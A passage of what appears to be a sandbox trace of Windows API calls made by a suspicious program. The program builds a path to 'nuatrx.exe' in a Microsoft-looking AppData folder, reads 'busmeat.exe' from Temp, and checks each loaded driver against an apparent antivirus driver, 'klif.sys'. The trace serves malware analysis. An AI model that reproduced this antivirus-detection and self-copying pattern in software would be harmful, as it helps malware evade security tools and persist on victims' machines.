	[0082.048] CryptReleaseContext (hProv=0xd4b548, dwFlags=0x0) returned 1
	[0082.048] VirtualFree (lpAddress=0xe50000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.048] GetEnvironmentVariableW (in: lpName="AppData", lpBuffer=0xe40202, nSize=0x100 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 0x25
	[0082.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\Microsoft\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\"
	[0082.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="nuatrx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx"
	[0082.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx", lpString2=".exe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx.exe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx.exe"
	[0082.048] CreateFileW (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\busmeat.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0082.048] GetFileSize (in: hFile=0x210, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x39e09
	[0082.048] EnumDeviceDrivers (in: lpImageBase=0x19fe68, cb=0x4, lpcbNeeded=0x19fe6c | out: lpImageBase=0x19fe68*=0xc1c05000, lpcbNeeded=0x19fe6c) returned 1
	[0082.048] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe50000
	[0082.048] EnumDeviceDrivers (in: lpImageBase=0xe50000, cb=0x22c, lpcbNeeded=0x19fe68 | out: lpImageBase=0xe50000*=0xc1c05000, lpcbNeeded=0x19fe68) returned 1
	[0082.049] GetDeviceDriverBaseNameW (in: ImageBase=0xc1c05000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="ntoskrnl.exe") returned 0xc
	[0082.049] lstrcmpiW (lpString1="ntoskrnl.exe", lpString2="klif.sys") returned 1
	[0082.049] GetDeviceDriverBaseNameW (in: ImageBase=0xc2457000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="hal.dll") returned 0x7
	[0082.049] lstrcmpiW (lpString1="hal.dll", lpString2="klif.sys") returned -1
	[0082.049] GetDeviceDriverBaseNameW (in: ImageBase=0xc0d36000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="kd.dll") returned 0x6
	[0082.049] lstrcmpiW (lpString1="kd.dll", lpString2="klif.sys") returned -1
	[0082.049] GetDeviceDriverBaseNameW (in: ImageBase=0xe6d30000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="mcupdate_GenuineIntel.dll") returned 0x19
	[0082.049] lstrcmpiW (lpString1="mcupdate_GenuineIntel.dll", lpString2="klif.sys") returned 1
	[0082.049] GetDeviceDriverBaseNameW (in: ImageBase=0xe6dc0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="werkernel.sys") returned 0xd
	[0082.049] lstrcmpiW (lpString1="werkernel.sys", lpString2="klif.sys") returned 1
	[0082.049] GetDeviceDriverBaseNameW (in: ImageBase=0xe5e00000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="CLFS.SYS") returned 0x8
	[0082.049] lstrcmpiW (lpString1="CLFS.SYS", lpString2="klif.sys") returned -1
	[0082.049] GetDeviceDriverBaseNameW (in: ImageBase=0xe5e70000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="tm.sys") returned 0x6
	[0082.049] lstrcmpiW (lpString1="tm.sys", lpString2="klif.sys") returned 1
	[0082.049] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ea0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="PSHED.dll") returned 0x9
	[0082.050] lstrcmpiW (lpString1="PSHED.dll", lpString2="klif.sys") returned 1
	[0082.050] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ec0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="BOOTVID.dll") returned 0xb
	[0082.050] lstrcmpiW (lpString1="BOOTVID.dll", lpString2="klif.sys") returned -1
	[0082.050] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ed0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="cmimcext.sys") returned 0xc
	[0082.050] lstrcmpiW (lpString1="cmimcext.sys", lpString2="klif.sys") returned -1
	[0082.050] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ee0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="ntosext.sys") returned 0xb
	[0082.050] lstrcmpiW (lpString1="ntosext.sys", lpString2="klif.sys") returned 1
	[0082.050] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ef0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="CI.dll") returned 0x6
	[0082.050] lstrcmpiW (lpString1="CI.dll", lpString2="klif.sys") returned -1
	[0082.050] GetDeviceDriverBaseNameW (in: ImageBase=0xe5f90000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="msrpc.sys") returned 0x9
	[0082.050] lstrcmpiW (lpString1="msrpc.sys", lpString2="klif.sys") returned 1
	[0082.050] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ff0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="FLTMGR.SYS") returned 0xa
	[0082.050] lstrcmpiW (lpString1="FLTMGR.SYS", lpString2="klif.sys") returned -1
	[0082.050] GetDeviceDriverBaseNameW (in: ImageBase=0xe6060000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="ksecdd.sys") returned 0xa
	[0082.050] lstrcmpiW (lpString1="ksecdd.sys", lpString2="klif.sys") returned 1
	[0082.050] GetDeviceDriverBaseNameW (in: ImageBase=0xe6090000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="clipsp.sys") returned 0xa
	[0082.051] lstrcmpiW (lpString1="clipsp.sys", lpString2="klif.sys") returned -1
	[0082.051] GetDeviceDriverBaseNameW (in: ImageBase=0xe6130000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="Wdf01000.sys") returned 0xc
	[0082.051] lstrcmpiW (lpString1="Wdf01000.sys", lpString2="klif.sys") returned 1
	[0082.051] GetDeviceDriverBaseNameW (in: ImageBase=0xe6210000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="WDFLDR.SYS") returned 0xa
	[0082.051] lstrcmpiW (lpString1="WDFLDR.SYS", lpString2="klif.sys") returned 1
	[0082.051] GetDeviceDriverBaseNameW (in: ImageBase=0xe6230000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="acpiex.sys") returned 0xa
	[0082.051] lstrcmpiW (lpString1="acpiex.sys", lpString2="klif.sys") returned -1
	[0082.051] GetDeviceDriverBaseNameW (in: ImageBase=0xe6260000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="WppRecorder.sys") returned 0xf
	[0082.051] lstrcmpiW (lpString1="WppRecorder.sys", lpString2="klif.sys") returned 1
	[0082.051] GetDeviceDriverBaseNameW (in: ImageBase=0xe6270000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="cng.sys") returned 0x7
	[0082.051] lstrcmpiW (lpString1="cng.sys", lpString2="klif.sys") returned -1
	[0082.051] GetDeviceDriverBaseNameW (in: ImageBase=0xe6310000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="ACPI.sys") returned 0x8
	[0082.051] lstrcmpiW (lpString1="ACPI.sys", lpString2="klif.sys") returned -1
	[0082.051] GetDeviceDriverBaseNameW (in: ImageBase=0xe63a0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="WMILIB.SYS") returned 0xa
	[0082.051] lstrcmpiW (lpString1="WMILIB.SYS", lpString2="klif.sys") returned 1
	[0082.051] GetDeviceDriverBaseNameW (in: ImageBase=0xe63b0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="WindowsTrustedRT.sys") returned 0x14
	[0082.052] lstrcmpiW (lpString1="WindowsTrustedRT.sys", lpString2="klif.sys") returned 1
	[0082.052] GetDeviceDriverBaseNameW (in: ImageBase=0xe63d0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="WindowsTrustedRTProxy.sys") returned 0x19
	[0082.052] lstrcmpiW (lpString1="WindowsTrustedRTProxy.sys", lpString2="klif.sys") returned 1
	[0082.052] GetDeviceDriverBaseNameW (in: ImageBase=0xe63e0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="pcw.sys") returned 0x7
	[0082.052] lstrcmpiW (lpString1="pcw.sys", lpString2="klif.sys") returned 1
	[0082.052] GetDeviceDriverBaseNameW (in: ImageBase=0xe6400000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="msisadrv.sys") returned 0xc
	[0082.052] lstrcmpiW (lpString1="msisadrv.sys", lpString2="klif.sys") returned 1
	[0082.052] GetDeviceDriverBaseNameW (in: ImageBase=0xe6410000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="pci.sys") returned 0x7
	[0082.052] lstrcmpiW (lpString1="pci.sys", lpString2="klif.sys") returned 1
	[0082.052] GetDeviceDriverBaseNameW (in: ImageBase=0xe6470000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="vdrvroot.sys") returned 0xc
	[0082.052] lstrcmpiW (lpString1="vdrvroot.sys", lpString2="klif.sys") returned 1
	[0082.052] GetDeviceDriverBaseNameW (in: ImageBase=0xe6480000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="pdc.sys") returned 0x7
	[0082.052] lstrcmpiW (lpString1="pdc.sys", lpString2="klif.sys") returned 1
	[0082.052] GetDeviceDriverBaseNameW (in: ImageBase=0xe64a0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="CEA.sys") returned 0x7
	[0082.052] lstrcmpiW (lpString1="CEA.sys", lpString2="klif.sys") returned -1
	[0082.052] GetDeviceDriverBaseNameW (in: ImageBase=0xe64c0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="partmgr.sys") returned 0xb
	[0082.052] lstrcmpiW (lpString1="partmgr.sys", lpString2="klif.sys") returned 1
	[0082.053] GetDeviceDriverBaseNameW (in: ImageBase=0xe64f0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="spaceport.sys") returned 0xd
	[0082.053] lstrcmpiW (lpString1="spaceport.sys", lpString2="klif.sys") returned 1
	[0082.053] GetDeviceDriverBaseNameW (in: ImageBase=0xe6570000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="volmgr.sys") returned 0xa
	[0082.053] lstrcmpiW (lpString1="volmgr.sys", lpString2="klif.sys") returned 1
	[0082.053] GetDeviceDriverBaseNameW (in: ImageBase=0xe6590000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="volmgrx.sys") returned 0xb
	[0082.053] lstrcmpiW (lpString1="volmgrx.sys", lpString2="klif.sys") returned 1
	[0082.053] GetDeviceDriverBaseNameW (in: ImageBase=0xe65f0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="mountmgr.sys") returned 0xc
	[0082.053] lstrcmpiW (lpString1="mountmgr.sys", lpString2="klif.sys") returned 1
	[0082.053] GetDeviceDriverBaseNameW (in: ImageBase=0xe6610000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="storahci.sys") returned 0xc
	[0082.053] lstrcmpiW (lpString1="storahci.sys", lpString2="klif.sys") returned 1
	[0082.053] GetDeviceDriverBaseNameW (in: ImageBase=0xe6640000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="storport.sys") returned 0xc
	[0082.053] lstrcmpiW (lpString1="storport.sys", lpString2="klif.sys") returned 1
	[0082.053] GetDeviceDriverBaseNameW (in: ImageBase=0xe66c0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="EhStorClass.sys") returned 0xf
	[0082.053] lstrcmpiW (lpString1="EhStorClass.sys", lpString2="klif.sys") returned -1
	[0082.053] GetDeviceDriverBaseNameW (in: ImageBase=0xe66e0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="fileinfo.sys") returned 0xc
	[0082.054] lstrcmpiW (lpString1="fileinfo.sys", lpString2="klif.sys") returned -1
	[0082.054] GetDeviceDriverBaseNameW (in: ImageBase=0xe6700000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="Wof.sys") returned 0x7
	[0082.054] lstrcmpiW (lpString1="Wof.sys", lpString2="klif.sys") returned 1
	[0082.054] GetDeviceDriverBaseNameW (in: ImageBase=0xe6740000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="WdFilter.sys") returned 0xc
	[0082.054] lstrcmpiW (lpString1="WdFilter.sys", lpString2="klif.sys") returned 1
	[0082.054] GetDeviceDriverBaseNameW (in: ImageBase=0xe6790000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="NTFS.sys") returned 0x8
	[0082.054] lstrcmpiW (lpString1="NTFS.sys", lpString2="klif.sys") returned 1
	[0082.054] GetDeviceDriverBaseNameW (in: ImageBase=0xe69b0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="Fs_Rec.sys") returned 0xa
	[0082.054] lstrcmpiW (lpString1="Fs_Rec.sys", lpString2="klif.sys") returned -1
	[0082.054] GetDeviceDriverBaseNameW (in: ImageBase=0xe69c0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="ndis.sys") returned 0x8
	[0082.054] lstrcmpiW (lpString1="ndis.sys", lpString2="klif.sys") returned 1
	[0082.054] GetDeviceDriverBaseNameW (in: ImageBase=0xe6af0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="NETIO.SYS") returned 0x9
	[0082.054] lstrcmpiW (lpString1="NETIO.SYS", lpString2="klif.sys") returned 1
	[0082.054] GetDeviceDriverBaseNameW (in: ImageBase=0xe6b70000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="ksecpkg.sys") returned 0xb
	[0082.054] lstrcmpiW (lpString1="ksecpkg.sys", lpString2="klif.sys") returned 1
	[0082.054] GetDeviceDriverBaseNameW (in: ImageBase=0xe7de0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="tcpip.sys") returned 0x9
	[0082.055] lstrcmpiW (lpString1="tcpip.sys", lpString2="klif.sys") returned 1
	[0082.055] GetDeviceDriverBaseNameW (in: ImageBase=0xe8040000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="fwpkclnt.sys") returned 0xc
	[0082.055] lstrcmpiW (lpString1="fwpkclnt.sys", lpString2="klif.sys") returned -1
	[0082.055] GetDeviceDriverBaseNameW (in: ImageBase=0xe80b0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="wfplwfs.sys") returned 0xb
	[0082.055] lstrcmpiW (lpString1="wfplwfs.sys", lpString2="klif.sys") returned 1
	[0082.055] GetDeviceDriverBaseNameW (in: ImageBase=0xe80e0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="fvevol.sys") returned 0xa
	[0082.055] lstrcmpiW (lpString1="fvevol.sys", lpString2="klif.sys") returned -1
	[0082.055] GetDeviceDriverBaseNameW (in: ImageBase=0xe8180000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="volsnap.sys") returned 0xb
	[0082.055] lstrcmpiW (lpString1="volsnap.sys", lpString2="klif.sys") returned 1
	[0082.055] GetDeviceDriverBaseNameW (in: ImageBase=0xe6e00000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="rdyboost.sys") returned 0xc
	[0082.055] lstrcmpiW (lpString1="rdyboost.sys", lpString2="klif.sys") returned 1
	[0082.055] GetDeviceDriverBaseNameW (in: ImageBase=0xe6e50000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="mup.sys") returned 0x7
	[0082.055] lstrcmpiW (lpString1="mup.sys", lpString2="klif.sys") returned 1
	[0082.055] GetDeviceDriverBaseNameW (in: ImageBase=0xe6e90000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="disk.sys") returned 0x8
	[0082.055] lstrcmpiW (lpString1="disk.sys", lpString2="klif.sys") returned -1
	[0082.055] GetDeviceDriverBaseNameW (in: ImageBase=0xe6eb0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="CLASSPNP.SYS") returned 0xc
	[0082.056] lstrcmpiW (lpString1="CLASSPNP.SYS", lpString2="klif.sys") returned -1
	[0082.056] GetDeviceDriverBaseNameW (in: ImageBase=0xe6f30000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="crashdmp.sys") returned 0xc
	[0082.056] lstrcmpiW (lpString1="crashdmp.sys", lpString2="klif.sys") returned -1
	[0082.056] GetDeviceDriverBaseNameW (in: ImageBase=0xe7050000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="filecrypt.sys") returned 0xd
	[0082.056] lstrcmpiW (lpString1="filecrypt.sys", lpString2="klif.sys") returned -1
	[0082.056] GetDeviceDriverBaseNameW (in: ImageBase=0xe7070000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="tbs.sys") returned 0x7
	[0082.056] lstrcmpiW (lpString1="tbs.sys", lpString2="klif.sys") returned 1
	[0082.056] GetDeviceDriverBaseNameW (in: ImageBase=0xe7080000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="Null.SYS") returned 0x8
	[0082.056] lstrcmpiW (lpString1="Null.SYS", lpString2="klif.sys") returned 1
	[0082.056] GetDeviceDriverBaseNameW (in: ImageBase=0xe7090000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="Beep.SYS") returned 0x8
	[0082.056] lstrcmpiW (lpString1="Beep.SYS", lpString2="klif.sys") returned -1
	[0082.056] GetDeviceDriverBaseNameW (in: ImageBase=0xe70a0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="BasicDisplay.sys") returned 0x10
	[0082.056] lstrcmpiW (lpString1="BasicDisplay.sys", lpString2="klif.sys") returned -1
	[0082.056] GetDeviceDriverBaseNameW (in: ImageBase=0xe70c0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="watchdog.sys") returned 0xc
	[0082.056] lstrcmpiW (lpString1="watchdog.sys", lpString2="klif.sys") returned 1
	[0082.057] GetDeviceDriverBaseNameW (in: ImageBase=0xe70e0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="dxgkrnl.sys") returned 0xb
	[0082.057] lstrcmpiW (lpString1="dxgkrnl.sys", lpString2="klif.sys") returned -1
	[0082.057] GetDeviceDriverBaseNameW (in: ImageBase=0xe72d0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="BasicRender.sys") returned 0xf
	[0082.057] lstrcmpiW (lpString1="BasicRender.sys", lpString2="klif.sys") returned -1
	[0082.057] GetDeviceDriverBaseNameW (in: ImageBase=0xe72f0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="Npfs.SYS") returned 0x8
	[0082.057] lstrcmpiW (lpString1="Npfs.SYS", lpString2="klif.sys") returned 1
	[0082.057] GetDeviceDriverBaseNameW (in: ImageBase=0xe7310000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="Msfs.SYS") returned 0x8
	[0082.057] lstrcmpiW (lpString1="Msfs.SYS", lpString2="klif.sys") returned 1
	[0082.057] GetDeviceDriverBaseNameW (in: ImageBase=0xe7320000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="tdx.sys") returned 0x7
	[0082.057] lstrcmpiW (lpString1="tdx.sys", lpString2="klif.sys") returned 1
	[0082.057] GetDeviceDriverBaseNameW (in: ImageBase=0xe7350000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="TDI.SYS") returned 0x7
	[0082.057] lstrcmpiW (lpString1="TDI.SYS", lpString2="klif.sys") returned 1
	[0082.057] GetDeviceDriverBaseNameW (in: ImageBase=0xe7360000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="netbt.sys") returned 0x9
	[0082.057] lstrcmpiW (lpString1="netbt.sys", lpString2="klif.sys") returned 1
	[0082.057] GetDeviceDriverBaseNameW (in: ImageBase=0xe73b0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="afd.sys") returned 0x7
	[0082.058] lstrcmpiW (lpString1="afd.sys", lpString2="klif.sys") returned -1
	[0082.058] GetDeviceDriverBaseNameW (in: ImageBase=0xe7450000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="vwififlt.sys") returned 0xc
	[0082.058] lstrcmpiW (lpString1="vwififlt.sys", lpString2="klif.sys") returned 1
	[0082.058] GetDeviceDriverBaseNameW (in: ImageBase=0xe7470000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="pacer.sys") returned 0x9
	[0082.058] lstrcmpiW (lpString1="pacer.sys", lpString2="klif.sys") returned 1
	[0082.058] GetDeviceDriverBaseNameW (in: ImageBase=0xe74a0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="netbios.sys") returned 0xb
	[0082.058] lstrcmpiW (lpString1="netbios.sys", lpString2="klif.sys") returned 1
	[0082.058] GetDeviceDriverBaseNameW (in: ImageBase=0xe74c0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="rdbss.sys") returned 0x9
	[0082.058] lstrcmpiW (lpString1="rdbss.sys", lpString2="klif.sys") returned 1
	[0082.058] GetDeviceDriverBaseNameW (in: ImageBase=0xe7540000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="csc.sys") returned 0x7
	[0082.058] lstrcmpiW (lpString1="csc.sys", lpString2="klif.sys") returned -1
	[0082.058] GetDeviceDriverBaseNameW (in: ImageBase=0xe75d0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="nsiproxy.sys") returned 0xc
	[0082.058] lstrcmpiW (lpString1="nsiproxy.sys", lpString2="klif.sys") returned 1
	[0082.058] GetDeviceDriverBaseNameW (in: ImageBase=0xe75e0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="npsvctrig.sys") returned 0xd
	[0082.058] lstrcmpiW (lpString1="npsvctrig.sys", lpString2="klif.sys") returned 1
	[0082.058] GetDeviceDriverBaseNameW (in: ImageBase=0xe75f0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="mssmbios.sys") returned 0xc
	[0082.058] lstrcmpiW (lpString1="mssmbios.sys", lpString2="klif.sys") returned 1
	[0082.058] GetDeviceDriverBaseNameW (in: ImageBase=0xe7600000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="gpuenergydrv.sys") returned 0x10
	[0082.059] lstrcmpiW (lpString1="gpuenergydrv.sys", lpString2="klif.sys") returned -1
	[0082.059] GetDeviceDriverBaseNameW (in: ImageBase=0xe7610000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="dfsc.sys") returned 0x8
	[0082.059] lstrcmpiW (lpString1="dfsc.sys", lpString2="klif.sys") returned -1
	[0082.059] GetDeviceDriverBaseNameW (in: ImageBase=0xe7660000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="ahcache.sys") returned 0xb
	[0082.059] lstrcmpiW (lpString1="ahcache.sys", lpString2="klif.sys") returned -1
	[0082.059] GetDeviceDriverBaseNameW (in: ImageBase=0xe76a0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="CompositeBus.sys") returned 0x10
	[0082.059] lstrcmpiW (lpString1="CompositeBus.sys", lpString2="klif.sys") returned -1
	[0082.059] GetDeviceDriverBaseNameW (in: ImageBase=0xe76c0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="kdnic.sys") returned 0x9
	[0082.059] lstrcmpiW (lpString1="kdnic.sys", lpString2="klif.sys") returned -1
	[0082.059] GetDeviceDriverBaseNameW (in: ImageBase=0xe76d0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="umbus.sys") returned 0x9
	[0082.059] lstrcmpiW (lpString1="umbus.sys", lpString2="klif.sys") returned 1
	[0082.059] GetDeviceDriverBaseNameW (in: ImageBase=0xe76f0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="HDAudBus.sys") returned 0xc
	[0082.059] lstrcmpiW (lpString1="HDAudBus.sys", lpString2="klif.sys") returned -1
	[0082.059] GetDeviceDriverBaseNameW (in: ImageBase=0xe7710000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="portcls.sys") returned 0xb
	[0082.059] lstrcmpiW (lpString1="portcls.sys", lpString2="klif.sys") returned 1
	[0082.059] GetDeviceDriverBaseNameW (in: ImageBase=0xe7770000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="drmk.sys") returned 0x8
	[0082.060] lstrcmpiW (lpString1="drmk.sys", lpString2="klif.sys") returned -1
	[0082.060] GetDeviceDriverBaseNameW (in: ImageBase=0xe77a0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="ks.sys") returned 0x6
	[0082.060] lstrcmpiW (lpString1="ks.sys", lpString2="klif.sys") returned 1
	[0082.060] GetDeviceDriverBaseNameW (in: ImageBase=0xe7810000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="usbehci.sys") returned 0xb
	[0082.060] lstrcmpiW (lpString1="usbehci.sys", lpString2="klif.sys") returned 1
	[0082.060] GetDeviceDriverBaseNameW (in: ImageBase=0xe7830000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="USBPORT.SYS") returned 0xb
	[0082.060] lstrcmpiW (lpString1="USBPORT.SYS", lpString2="klif.sys") returned 1
	[0082.060] GetDeviceDriverBaseNameW (in: ImageBase=0xe79b0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="NdisVirtualBus.sys") returned 0x12
	[0082.060] lstrcmpiW (lpString1="NdisVirtualBus.sys", lpString2="klif.sys") returned 1
	[0082.060] GetDeviceDriverBaseNameW (in: ImageBase=0xe79c0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="swenum.sys") returned 0xa
	[0082.060] lstrcmpiW (lpString1="swenum.sys", lpString2="klif.sys") returned 1
	[0082.060] GetDeviceDriverBaseNameW (in: ImageBase=0xe79d0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="rdpbus.sys") returned 0xa
	[0082.060] lstrcmpiW (lpString1="rdpbus.sys", lpString2="klif.sys") returned 1
	[0082.060] GetDeviceDriverBaseNameW (in: ImageBase=0xe79e0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="usbhub.sys") returned 0xa
	[0082.060] lstrcmpiW (lpString1="usbhub.sys", lpString2="klif.sys") returned 1
	[0082.060] GetDeviceDriverBaseNameW (in: ImageBase=0xe7a60000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="USBD.SYS") returned 0x8
	[0082.060] lstrcmpiW (lpString1="USBD.SYS", lpString2="klif.sys") returned 1
	[0082.061] GetDeviceDriverBaseNameW (in: ImageBase=0xe7a70000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="HdAudio.sys") returned 0xb
	[0082.061] lstrcmpiW (lpString1="HdAudio.sys", lpString2="klif.sys") returned -1
	[0082.061] GetDeviceDriverBaseNameW (in: ImageBase=0xe7ae0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="ksthunk.sys") returned 0xb
	[0082.061] lstrcmpiW (lpString1="ksthunk.sys", lpString2="klif.sys") returned 1
	[0082.061] GetDeviceDriverBaseNameW (in: ImageBase=0xe7af0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="hidusb.sys") returned 0xa
	[0082.061] lstrcmpiW (lpString1="hidusb.sys", lpString2="klif.sys") returned -1
	[0082.061] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b10000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="HIDCLASS.SYS") returned 0xc
	[0082.061] lstrcmpiW (lpString1="HIDCLASS.SYS", lpString2="klif.sys") returned -1
	[0082.061] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b40000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="HIDPARSE.SYS") returned 0xc
	[0082.061] lstrcmpiW (lpString1="HIDPARSE.SYS", lpString2="klif.sys") returned -1
	[0082.061] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b60000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="kbdhid.sys") returned 0xa
	[0082.061] lstrcmpiW (lpString1="kbdhid.sys", lpString2="klif.sys") returned -1
	[0082.061] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b70000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="kbdclass.sys") returned 0xc
	[0082.061] lstrcmpiW (lpString1="kbdclass.sys", lpString2="klif.sys") returned -1
	[0082.061] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b90000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="Razerlow.sys") returned 0xc
	[0082.061] lstrcmpiW (lpString1="Razerlow.sys", lpString2="klif.sys") returned 1
	[0082.061] GetDeviceDriverBaseNameW (in: ImageBase=0xe7ba0000, lpBaseName=0x19f664, nSize=0x400 | out: lpBaseName="mouhid.sys") returned 0xa
